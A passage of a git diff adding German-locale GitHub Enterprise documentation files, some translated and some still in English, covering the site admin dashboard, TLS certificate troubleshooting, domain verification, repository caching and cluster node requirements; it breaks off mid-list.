+A progress bar shows the current status of a repair job across background workers. The bar is the percentage difference of the repair offset with the highest record ID in the database. You can ignore the value shown in the progress bar after a repair job has completed. The progress bar shows the difference between the repair offset and the highest record ID in the database, and will decrease as more repositories are added to {% data variables.location.product_location %} even though those repositories are actually indexed.
+
+To minimize the effects on I/O performance and reduce the chances of operations timing out, run the repair job during off-peak hours. As the job reconciles the search index with database and Git repository data, one CPU will be used. Monitor your system's load averages and CPU usage with a utility like `top`. If you don't notice any significant increase in resource consumption, it should also be safe to run an index repair job during peak hours.
+
+Repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset.
+
+### Code search
+
+This allows you to enable or disable both search and index operations on source code.
+
+{% endif %}
+## Reserved logins
+
+Certain words are reserved for internal use in {% data variables.location.product_location %}, which means that these words cannot be used as usernames.
+
+For example, the following words are reserved, among others:
+
+- `admin`
+- `enterprise`
+- `login`
+- `staff`
+- `support`
+
+For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard.
+
+{% ifversion ghas-committers-calculator %}
+## {% data variables.product.prodname_advanced_security %} Committers
+
+You can see the number of active committers that are currently using seats for {% data variables.product.prodname_GH_advanced_security %}, and you can calculate how many additional seats would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories.
+
+Under "Current active committer count", you can see the number of active committers for repositories with {% data variables.product.prodname_GH_advanced_security %} enabled. This is the number of licensed seats that are currently being used.
+
+Under "Maximum committers across entire instance", you can see the number of active committers across all the repositories in your enterprise. This is the number of seats that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for every repository in your enterprise.
+
+Under "Calculate Additional Advanced Committers", you can calculate how many more additional seats will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for specific organizations and repositories. Under "Organizations and Repositories", enter or paste a list of organizations and repositories, with one organization or repository per line. 
+
+```
+example-org
+octo-org/octo-repo
+```
+
+The result is the number of additional seats that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for those organizations and repositories.
+
+For more information about billing for {% data variables.product.prodname_advanced_security %}, see "[About billing for {% data variables.product.prodname_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."
+{% endif %}
+
+## Enterprise overview
+
+Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings.
+
+## Repositories
+
+This is a list of the repositories on {% data variables.location.product_location %}. You can click on a repository name and access functions for administering the repository.
+
+- [Blocking force pushes to a repository](/enterprise/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/)
+- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository)
+- [Archiving and unarchiving repositories](/enterprise/admin/guides/user-management/archiving-and-unarchiving-repositories/)
+
+## All users
+
+Here you can see all of the users on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys).
+
+## Site admins
+
+Here you can see all of the administrators on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys).
+
+## Dormant users
+{% ifversion ghes %}
+Here you can see and [suspend](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.location.product_location %}. A user account is considered to be inactive ("dormant") when it:
+{% endif %}
+{% ifversion ghae %}
+Here you can see and suspend all of the inactive users on {% data variables.location.product_location %}. A user account is considered to be inactive ("dormant") when it:
+{% endif %}
+
+- Has existed for longer than the dormancy threshold that's set for {% data variables.location.product_location %}.
+- Has not generated any activity within that time period.
+- Is not a site administrator.
+
+{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)."
+
+## Suspended users
+
+Here you can see all of the users who have been suspended on {% data variables.location.product_location %}, and [initiate an SSH key audit](/enterprise/admin/guides/user-management/auditing-ssh-keys).
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md
new file mode 100644
index 0000000000..eca1544cea
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/troubleshooting-tls-errors.md
@@ -0,0 +1,86 @@
+---
+title: Troubleshooting TLS errors
+intro: 'If you run into TLS issues with your appliance, you can take actions to resolve them.'
+redirect_from:
+  - /enterprise/admin/articles/troubleshooting-ssl-errors
+  - /enterprise/admin/categories/dns-ssl-and-subdomain-configuration
+  - /enterprise/admin/installation/troubleshooting-ssl-errors
+  - /enterprise/admin/configuration/troubleshooting-ssl-errors
+  - /admin/configuration/troubleshooting-ssl-errors
+  - /admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Errors
+  - Infrastructure
+  - Networking
+  - Security
+  - Troubleshooting
+shortTitle: Troubleshoot TLS errors
+---
+## Removing the passphrase from your key file
+
+If you have a Linux machine with OpenSSL installed, you can remove your passphrase.
+
+1. Rename your original key file.
+  ```shell
+  $ mv yourdomain.key yourdomain.key.orig
+  ```
+2. Generate a new key without a passphrase.
+  ```shell
+  $ openssl rsa -in yourdomain.key.orig -out yourdomain.key
+  ```
+
+You'll be prompted for the key's passphrase when you run this command.
+
+For more information about OpenSSL, see [OpenSSL's documentation](https://www.openssl.org/docs/).
+
+## Converting your TLS certificate or key into PEM format
+
+If you have OpenSSL installed, you can convert your key into PEM format by using the `openssl` command. For example, you can convert a key from DER format into PEM format.
+
+```shell
+$ openssl rsa -in yourdomain.der -inform DER -out yourdomain.key -outform PEM
+```
+
+Otherwise, you can use the SSL Converter tool to convert your certificate into the PEM format. For more information, see the [SSL Converter tool's documentation](https://www.sslshopper.com/ssl-converter.html).
+
+## Unresponsive installation after uploading a key
+
+If {% data variables.location.product_location %} is unresponsive after uploading an TLS key, please [contact {% data variables.product.prodname_enterprise %} Support](https://enterprise.github.com/support) with specific details, including a copy of your TLS certificate. Ensure that your private key **is not** included. 
+
+## Certificate validity errors
+
+Clients such as web browsers and command-line Git will display an error message if they cannot verify the validity of an TLS certificate. This often occurs with self-signed certificates as well as "chained root" certificates issued from an intermediate root certificate that is not recognized by the client.
+
+If you are using a certificate signed by a certificate authority (CA), the certificate file that you upload to {% data variables.product.prodname_ghe_server %} must include a certificate chain with that CA's root certificate. To create such a file, concatenate your entire certificate chain (or "certificate bundle") onto the end of your certificate, ensuring that the principal certificate with your hostname comes first. On most systems you can do this with a command similar to:
+
+```shell
+$ cat yourdomain.com.crt bundle-certificates.crt > yourdomain.combined.crt
+```
+
+You should be able to download a certificate bundle (for example, `bundle-certificates.crt`) from your certificate authority or TLS vendor.
+
+## Installing self-signed or untrusted certificate authority (CA) root certificates
+
+If your {% data variables.product.prodname_ghe_server %} appliance interacts with other machines on your network that use a self-signed or untrusted certificate, you will need to import the signing CA's root certificate into the system-wide certificate store in order to access those systems over HTTPS.
+
+1. Obtain the CA's root certificate from your local certificate authority and ensure it is in PEM format.
+2. Copy the file to your {% data variables.product.prodname_ghe_server %} appliance over SSH as the "admin" user on port 122.
+  ```shell
+  $ scp -P 122 rootCA.crt admin@HOSTNAME:/home/admin
+  ```
+3. Connect to the {% data variables.product.prodname_ghe_server %} administrative shell over SSH as the "admin" user on port 122.
+  ```shell
+  $ ssh -p 122 admin@HOSTNAME
+  ```
+4. Import the certificate into the system-wide certificate store.
+  ```shell
+  $ ghe-ssl-ca-certificate-install -c rootCA.crt
+  ```
+
+## Updating a TLS certificate
+
+You can generate a new self-signed certificate or update an existing TLS certificate for {% data variables.location.product_location %} with the `ghe-ssl-certificate-setup` command line utility. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-setup)."
diff --git a/translations/de-DE/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
new file mode 100644
index 0000000000..a0b33c0702
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md
@@ -0,0 +1,84 @@
+---
+title: Überprüfen oder Genehmigen einer Domäne für dein Unternehmen
+shortTitle: Verify or approve a domain
+intro: 'Du kannst deine Domäneninhaberschaft mit {% data variables.product.company_short %} überprüfen, um die Identität von Organisationen zu bestätigen, die deinem Unternehmenskonto gehören. Du kannst auch Domänen genehmigen, in denen Organisationsmitglieder E-Mail-Benachrichtigungen erhalten können.'
+product: '{% data reusables.gated-features.verify-and-approve-domain %}'
+versions:
+  ghec: '*'
+  ghes: '*'
+permissions: Enterprise owners can verify or approve a domain for an enterprise account.
+type: how_to
+topics:
+  - Enterprise
+  - Notifications
+  - Organizations
+  - Policy
+redirect_from:
+  - /admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/verifying-or-approving-a-domain-for-your-enterprise-account
+  - /admin/configuration/verifying-or-approving-a-domain-for-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/verifying-your-enterprise-accounts-domain
+  - /github/articles/verifying-your-enterprise-accounts-domain
+  - /early-access/github/articles/verifying-your-enterprise-accounts-domain
+  - /github/setting-up-and-managing-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise-account
+  - /admin/policies/verifying-or-approving-a-domain-for-your-enterprise
+ms.openlocfilehash: 6cadd805d10095bb7a7443a86333312fce507617
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147060914'
+---
+## Informationen zur Überprüfung von Domänen
+
+Indem du Domänen überprüfst, kannst du bestätigen, dass die Websites und E-Mail-Adressen in den Profilen von Organisationen im Besitz deines Unternehmenskontos von deinem Unternehmen überwacht werden. Überprüfte Domänen für ein Unternehmenskonto gelten für alle Organisationen im Besitz dieses Unternehmenskontos.
+
+Nachdem du den Besitz der Domänen deines Unternehmenskontos überprüft hast, wird ein Badge mit dem Wort „Verifiziert“ auf dem Profil jeder Organisation angezeigt, die die Domäne auf ihrem Profil aufführt. {% data reusables.organizations.verified-domains-details %}
+
+Für Domänen, die auf Unternehmensebene konfiguriert sind, können Unternehmensinhaber*innen die Identität der Organisationsmitglieder überprüfen, indem sie die E-Mail-Adresse jedes Mitglieds innerhalb der überprüften Domäne anzeigen. Unternehmensinhaber*innen können auch eine Liste von Unternehmensmitgliedern anzeigen, deren Benutzerkonto auf {% data variables.product.prodname_dotcom %} keine E-Mail-Adresse einer überprüften Domäne zugeordnet ist. Weitere Informationen findest du unter [Anzeigen von Mitgliedern ohne E-Mail-Adresse aus einer überprüften Domäne](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-members-without-an-email-address-from-a-verified-domain).
+
+Nachdem du Domänen für dein Unternehmenskonto überprüft hast, kannst du E-Mail-Benachrichtigungen für alle Organisationen im Besitz deines Unternehmenskontos auf überprüfte Domänen beschränken. Weitere Informationen findest du unter [Einschränken von E-Mail-Benachrichtigungen für dein Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise).
+
+Wenn du E-Mail-Benachrichtigungen für das Unternehmenskonto nicht einschränkst, können Organisationsmitglieder Benachrichtigungen zu allen für das Unternehmenskonto überprüften oder genehmigten Domänen zusätzlich zu allen für die Organisation überprüften oder genehmigten Domänen empfangen, auch wenn ein*e Organisationsbesitzer*in E-Mail-Benachrichtigungen für die Organisation eingeschränkt hat. Weitere Informationen zum Einschränken der Benachrichtigungen für eine Organisation findest du unter [Einschränken von E-Mail-Benachrichtigungen für deine Organisation](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization).
+
+Organisationsbesitzer*innen können für ihre Organisationen auch zusätzliche Domänen überprüfen. Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für deine Organisation](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization).
+
+## Informationen zur Genehmigung von Domänen
+
+{% data reusables.enterprise-accounts.approved-domains-beta-note %}
+
+{% data reusables.enterprise-accounts.approved-domains-about %}
+
+Nachdem du Domänen für dein Unternehmenskonto genehmigt hast, kannst du E-Mail-Benachrichtigungen für Aktivitäten innerhalb des Unternehmenskontos auf Benutzer*innen mit überprüften E-Mail-Adressen innerhalb von überprüften oder genehmigten Domänen beschränken. Weitere Informationen findest du unter [Einschränken von E-Mail-Benachrichtigungen für dein Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise).
+
+{% ifversion ghec %}Um E-Mail-Benachrichtigungen erhalten zu können, muss der oder die Besitzer*in des Benutzerkontos die E-Mail-Adresse auf {% data variables.product.product_name %} verifizieren. Weitere Informationen findest du unter [Verifizieren deiner E-Mail-Adresse](/github/getting-started-with-github/verifying-your-email-address).{% endif %}
+
+Organisationsbesitzer*innen können weder die E-Mail-Adresse sehen noch welches Benutzerkonto einer E-Mail-Adresse aus einer genehmigten Domäne zugeordnet ist.
+
+Organisationsbesitzer*innen können für ihre Organisationen auch zusätzliche Domänen genehmigen. Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für deine Organisation](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization).
+
+## Überprüfen einer Domäne für dein Unternehmenskonto
+
+Um die Domäne deines Unternehmenskontos zu überprüfen, musst du Zugriff haben, um Domäneneinträge mit deinem Domänenhostingdienst zu ändern.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.enterprise-accounts.add-a-domain %} {% data reusables.organizations.add-domain %} {% data reusables.organizations.add-dns-txt-record %}
+1. Es kam bis zu 72 Stunden dauern, bis die DNS-Konfiguration geändert wird. Du kannst überprüfen, ob deine DNS-Konfiguration geändert wurde, indem du den `dig`-Befehl in der Befehlszeile ausführst und dabei `ENTERPRISE-ACCOUNT` mit dem Namen deines Unternehmenskontos und `example.com` mit der Domäne ersetzen, die du überprüfen möchtest. In der Befehlsausgabe sollte dein neuer TXT-Eintrag aufgelistet werden.
+   ```shell
+   dig _github-challenge-<em>ENTERPRISE-ACCOUNT</em>.<em>example.com</em> +nostats +nocomments +nocmd TXT
+   ```
+1. Nachdem du bestätigt hast, dass dein TXT-Eintrag deinem DNS hinzugefügt wurde, führe die Schritte 1 bis 4 oben aus, um zu den genehmigten und überprüften Domänen deines Unternehmenskontos zu navigieren.
+{% data reusables.enterprise-accounts.continue-verifying-domain %}
+1. Wenn der Badge „Verifiziert“ auf den Profilen deiner Organisationen sichtbar ist, kannst du den TXT-Eintrag im Domänenhostingdienst auch aus dem DNS-Eintrag löschen.
+![Badge „Verifiziert“](/assets/images/help/organizations/verified-badge.png)
+
+## Genehmigen einer Domäne für dein Unternehmenskonto
+
+{% data reusables.enterprise-accounts.approved-domains-beta-note %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} {% data reusables.enterprise-accounts.add-a-domain %} {% data reusables.organizations.add-domain %} {% data reusables.organizations.domains-approve-it-instead %} {% data reusables.organizations.domains-approve-domain %}
+
+## Entfernen einer genehmigten oder überprüften Domäne
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %}
+1. Klicke rechts neben der zu entfernenden Domäne auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, und klicke dann auf **Löschen**.
+    ![Schaltfläche „Löschen“ für eine Domäne](/assets/images/help/organizations/domains-delete.png)
diff --git a/translations/de-DE/content/admin/configuration/index.md b/translations/de-DE/content/admin/configuration/index.md
new file mode 100644
index 0000000000..ae3037aa5d
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/index.md
@@ -0,0 +1,28 @@
+---
+title: Konfigurieren von GitHub Enterprise
+shortTitle: Configure GitHub Enterprise
+intro: 'Du kannst dein Unternehmen so konfigurieren, dass es den Bedürfnissen deiner Organisation entspricht.'
+redirect_from:
+  - /enterprise/admin/configuration
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /configuring-your-enterprise
+  - /configuring-network-settings
+  - /configuring-github-connect
+ms.openlocfilehash: da67d011e017d84e5eb3c384355e047bbdd669ae
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106924'
+---
+{% ifversion ghes %} {% note %}
+
+**Hinweis**: Informationen zum Konfigurieren von {% data variables.product.prodname_actions %} oder {% data variables.product.prodname_registry %} für dein Unternehmen findest du unter [Verwalten von GitHub Actions für dein Unternehmen](/admin/github-actions) oder [Verwalten von GitHub Packages für dein Unternehmen](/admin/packages).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/content/admin/enterprise-management/caching-repositories/about-repository-caching.md b/translations/de-DE/content/admin/enterprise-management/caching-repositories/about-repository-caching.md
new file mode 100644
index 0000000000..814f55de38
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/caching-repositories/about-repository-caching.md
@@ -0,0 +1,21 @@
+---
+title: About repository caching
+intro: You can increase the performance of Git read operations for distributed teams and CI farms with repository caching.
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+---
+
+{% data reusables.enterprise.repository-caching-release-phase %}
+
+If you have teams and CI farms located around the world, you may experience reduced performance on your primary {% data variables.product.prodname_ghe_server %} instance. While active geo-replicas can improve the performance of read requests, this comes at the cost of limiting write throughput. To reduce load on your primary instance and improve write throughput performance, you can configure a repository cache, an asynchronous read-only mirror of repositories located near these geographically-distributed clients. 
+
+A repository cache eliminates the need for {% data variables.product.product_name %} to transmit the same Git data over a long-haul network link multiple times to serve multiple clients, by serving your repository data close to CI farms and distributed teams. For instance, if your primary instance is in North America and you also have a large presence in Asia, you will benefit from setting up the repository cache in Asia for use by CI runners there.
+
+The repository cache listens to the primary instance, whether that's a single instance or a geo-replicated set of instances, for changes to Git data. CI farms and other read-heavy consumers clone and fetch from the repository cache instead of the primary instance. Changes are propagated across the network, at periodic intervals, once per cache instance rather than once per client. Git data will typically be visible on the repository cache within several minutes after the data is pushed to the primary instance.  {% ifversion ghes > 3.3 %}The [`cache_sync` webhook](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#cache_sync) can be used by CI systems to react to data being available in the cache.{% endif %}
+
+You have fine-grained control over which repositories are allowed to sync to the repository cache. Git data will only be replicated to the locations you specify.
+
+{% data reusables.enterprise.repository-caching-config-summary %} For more information, see "[Configuring a repository cache](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)."
diff --git a/translations/de-DE/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md b/translations/de-DE/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md
new file mode 100644
index 0000000000..5df477d06c
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/caching-repositories/configuring-a-repository-cache.md
@@ -0,0 +1,117 @@
+---
+title: Configuring a repository cache
+intro: 'You can configure a repository cache for {% data variables.product.product_name %} by creating a new instance, connecting the repository cache to your primary instance, and configuring replication of repository networks to the repository cache.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+---
+
+{% data reusables.enterprise.repository-caching-release-phase %}
+
+## About configuration for repository caching
+
+{% data reusables.enterprise.repository-caching-config-summary %} Then, you can set data location policies that govern which repository networks are replicated to the repository cache.
+
+Repository caching is not supported with clustering.
+
+## DNS for repository caches
+
+The primary instance and repository cache should have different DNS names. For example, if your primary instance is at `github.example.com`, you might decide to name a cache `europe-ci.github.example.com` or `github.asia.example.com`.
+
+To have your CI machines fetch from the repository cache instead of the primary instance, you can use Git's `url.<base>.insteadOf` configuration setting. For more information, see [`git-config`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-urlltbasegtinsteadOf) in the Git documentation. 
+
+For example, the global `.gitconfig` for the CI machine would include these lines.
+
+```
+[url "https://europe-ci.github.example.com/"]
+	insteadOf = https://github.example.com/
+```
+
+Then, when told to fetch `https://github.example.com/myorg/myrepo`, Git will instead fetch from `https://europe-ci.github.example.com/myorg/myrepo`.
+
+## Configuring a repository cache
+
+{% ifversion ghes = 3.3 %}
+{% data reusables.enterprise_installation.ssh-into-instance %}
+1. To enable repository caching, run the following command.
+   
+   ```
+   $ ghe-config cluster.cache-enabled true
+   ```
+{%- endif %}
+1. Set up a new {% data variables.product.prodname_ghe_server %} instance on your desired platform. This instance will be your repository cache. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
+{% data reusables.enterprise_installation.replica-steps %}
+1. Connect to the repository cache's IP address using SSH.
+
+   ```shell
+   $ ssh -p 122 admin@REPLICA-IP
+   ```
+{%- ifversion ghes = 3.3 %}
+1. On your cache replica, enable the feature flag for repository caching.
+   
+   ```
+   $ ghe-config cluster.cache-enabled true
+   ```
+{%- endif %}
+{% data reusables.enterprise_installation.generate-replication-key-pair %}
+{% data reusables.enterprise_installation.add-ssh-key-to-primary %}
+1. To verify the connection to the primary and enable replica mode for the repository cache, run `ghe-repl-setup` again.
+
+   ```shell
+   $ ghe-repl-setup PRIMARY-IP
+   ```
+
+{% ifversion ghes < 3.6 %}
+1. Set a `cache-location` for the repository cache, replacing *CACHE-LOCATION* with an alphanumeric identifier, such as the region where the cache is deployed. Also set a datacenter name for this cache; new caches will attempt to seed from another cache in the same datacenter.
+
+   ```shell
+   $ ghe-repl-node --cache CACHE-LOCATION --datacenter REPLICA-DC-NAME
+   ```
+{% else %}
+1. To configure the repository cache, use the `ghe-repl-node` command and include the necessary parameters.
+    - Set a `cache-location` for the repository cache, replacing *CACHE-LOCATION* with an alphanumeric identifier, such as the region where the cache is deployed.  The *CACHE-LOCATION* value must not be any of the subdomains reserved for use with subdomain isolation, such as `assets` or `media`.  For a list of reserved names, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)."
+    - Set a `cache-domain` for the repository cache, replacing *EXTERNAL-CACHE-DOMAIN* with the hostname Git clients will use to access the repository cache. If you do not specify a `cache-domain`, {% data variables.product.product_name %} will prepend the *CACHE-LOCATION* value as a subdomain to the hostname configured for your instance. For more information, see "[Configuring a hostname](/admin/configuration/configuring-network-settings/configuring-a-hostname)."
+    - New caches will attempt to seed from another cache in the same datacenter. Set a `datacenter` for the repository cache, replacing *REPLICA-DC-NAME* with the name of the datacenter where you're deploying the node.
+
+    ```shell
+    $ ghe-repl-node --cache CACHE-LOCATION --cache-domain EXTERNAL-CACHE-DOMAIN --datacenter REPLICA-DC-NAME
+    ```
+{% endif %}
+
+{% data reusables.enterprise_installation.replication-command %}
+{% data reusables.enterprise_installation.verify-replication-channel %}
+1. To enable replication of repository networks to the repository cache, set a data location policy. For more information, see "[Data location policies](#data-location-policies)."
+
+## Data location policies
+
+You can control data locality by configuring data location policies for your repositories with the `spokesctl cache-policy` command. Data location policies determine which repository networks are replicated on which repository caches. By default, no repository networks will be replicated on any repository caches until a data location policy is configured.
+
+Data location policies affect only Git content. Content in the database, such as issues and pull request comments, will be replicated to all nodes regardless of policy.
+
+{% note %}
+
+**Note:** Data location policies are not the same as access control. You must use repository roles to control which users may access a repository. For more information about repository roles, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+
+{% endnote %} 
+
+You can configure a policy to replicate all networks with the `--default` flag. For example, this command will create a policy to replicate a single copy of every repository network to the set of repository caches whose `cache_location` is "kansas".
+
+ ```
+ $ ghe-spokesctl cache-policy set --default 1 kansas
+ ```
+
+To configure replication for a repository network, specify the repository that is the root of the network. A repository network includes a repository and all of the repository's forks. You cannot replicate part of a network without replicating the whole network.
+
+```
+$ ghe-spokesctl cache-policy set <owner/repository> 1 kansas
+```
+
+You can override a policy that replicates all networks and exclude specific networks by specifying a replica count of zero for the network. For example, this command specifies that any repository cache in location "kansas" cannot contain any copies of that network.
+
+```
+$ ghe-spokesctl cache-policy set <owner/repository> 0 kansas
+```
+
+Replica counts greater than one in a given cache location are not supported.
diff --git a/translations/de-DE/content/admin/enterprise-management/caching-repositories/index.md b/translations/de-DE/content/admin/enterprise-management/caching-repositories/index.md
new file mode 100644
index 0000000000..f84a25d1cc
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/caching-repositories/index.md
@@ -0,0 +1,13 @@
+---
+title: Caching repositories
+intro: 'You can improve performance for your geographically-distributed team with repository caching, which provides read-only mirrors close to your users and CI clients.'
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /about-repository-caching
+  - /configuring-a-repository-cache
+---
+
+{% data reusables.enterprise.repository-caching-release-phase %}
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md
new file mode 100644
index 0000000000..3bc10a40f1
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-clustering/about-cluster-nodes.md
@@ -0,0 +1,80 @@
+---
+title: Informationen zu Clusterknoten
+intro: '*Knoten* sind {% data variables.product.prodname_ghe_server %}-Instanzen, die in einem Cluster betrieben werden. Jeder Knoten führt verschiedene Dienste aus, die für den Cluster und letztendlich die Benutzer*innen bereitgestellt werden.'
+redirect_from:
+  - /enterprise/admin/clustering/about-cluster-nodes
+  - /enterprise/admin/enterprise-management/about-cluster-nodes
+  - /admin/enterprise-management/about-cluster-nodes
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Clustering
+  - Enterprise
+ms.openlocfilehash: 6c009e5d5aa1c2f0b2d3effb3beab2d51f48b070
+ms.sourcegitcommit: ced661bdffebd0f96f6f76db109fbe31983448ba
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/16/2022
+ms.locfileid: '148167073'
+---
+{% data reusables.enterprise_clustering.clustering-requires-https %}
+
+## Mindesthardwareempfehlungen
+Jeder Knoten muss ein Root-Volume und ein separates Datenvolumen aufweisen. Es gibt Mindestempfehlungen. Entsprechend deiner Nutzung, beispielsweise in Bezug auf die Benutzeraktivität und die ausgewählten Integrationen, sind möglicherweise mehr Ressourcen erforderlich.
+
+| Dienste | Minimaler Arbeitsspeicherbedarf    | Minimaler freier Speicherplatz auf dem Datenvolume |
+| :-: | :-: | :-: |
+| `job-server`,<br/>`memcache-server`,<br/>`web-server` | 14 GB | 1 GB |
+| `consul-server`,<br/>`mysql-server`,<br/>`redis-server` | 14 GB | 10 GB |
+| `git-server`,<br/>`metrics-server`,<br/>`pages-server`,<br/>`storage-server` | 14 GB | 10 GB |
+| `elasticsearch-server` | 14 GB | 10 GB |
+
+## Für das Clustering erforderliche Dienste
+Verwende zum Erzielen der angemessenen Redundanz diese Mindestanforderungen an Knoten, die jeden Dienst betreiben.
+
+{% tip %}
+
+**Hinweis:** Die Skalierbarkeitsanforderungen deiner Organisation hängen von vielen Faktoren ab, einschließlich der Größe und der Anzahl der Repositorys, der Anzahl der Benutzer*innen und der Gesamtauslastung.
+
+{% endtip %}
+
+| Dienste | Minimaler Knotenbedarf |
+| :-: | :-: |
+| `job-server`,<br/>`memcache-server`,<br/>`metrics-server`,<br/>`web-server` | 2 |
+| `mysql-server`,<br/>`redis-server` | 2 |
+| `consul-server` | 3 |
+| `git-server`,<br/>`pages-server`,<br/>`storage-server` | 3 |
+| `elasticsearch-server` | 3 |
+
+## Empfehlungen zum Clusterdesign
+
+Mittels Clustering können Dienste, die den {% data variables.product.prodname_ghe_server %} bilden, unabhängig voneinander per Scale-out erweitert werden. Diese Flexibilität kann genutzt werden, um einen Cluster zu konzipieren und zu implementieren, der zu Organisationen mit unterschiedlichen Skalierbarkeitsanforderungen passt. Beispielsweise benötigen einige Organisationen möglicherweise Speicherdurchsätze für große oder häufige Abrufe, die Webservernutzung ist jedoch relativ gering. Eine andere Organisation hat möglicherweise eine gute Leistung mit weniger Speicherressourcen, benötigt jedoch viele Knoten, die `pages-server` oder `elasticsearch-server` ausgeführt werden. Es sind viele verschiedene Kombinationen möglich. Wende dich an deinen Kundenbetreuer, um die beste Clusterkonfiguration für deine speziellen Anforderungen zu bestimmen.
+
+- Verteile redundante Knoten über unabhängige Hardware hinweg. Wenn du CPU, Arbeitsspeicher oder Speichergeräte gemeinsam verwendest, wird die Leistung reduziert und Single Points of Failure ermöglicht. Gemeinsam verwendete Netzwerkkomponenten können ebenfalls den Durchsatz reduzieren und im Falle eines Ausfalls das Risiko des Konnektivitätsverlusts erhöhen.
+- Verwende schnellen Speicher. Storage-Area-Networks (SAN) sind oftmals für die maximale Speicherauslastung, Verfügbarkeit und Fehlertoleranz optimiert und nicht für den absoluten Durchsatz. {% data variables.product.prodname_ghe_server %}-Clustering bietet Redundanz und Verfügbarkeit und funktioniert am besten auf dem schnellsten Speicher, der verfügbar ist. Lokaler SSD-Speicher wird empfohlen.
+- Erstelle die Knotenstufen, die für deine Organisation sinnvoll sind. Beispielkonfiguration:
+  - Front-End-Ebene mit zwei Knoten und den folgenden Diensten:
+    - `web-server`
+    - `job-server`
+    - `memcache-server`
+  - Datenbank-Ebene mit drei Knoten und den folgenden Diensten:
+    - `consul-server`
+    - `mysql-server`
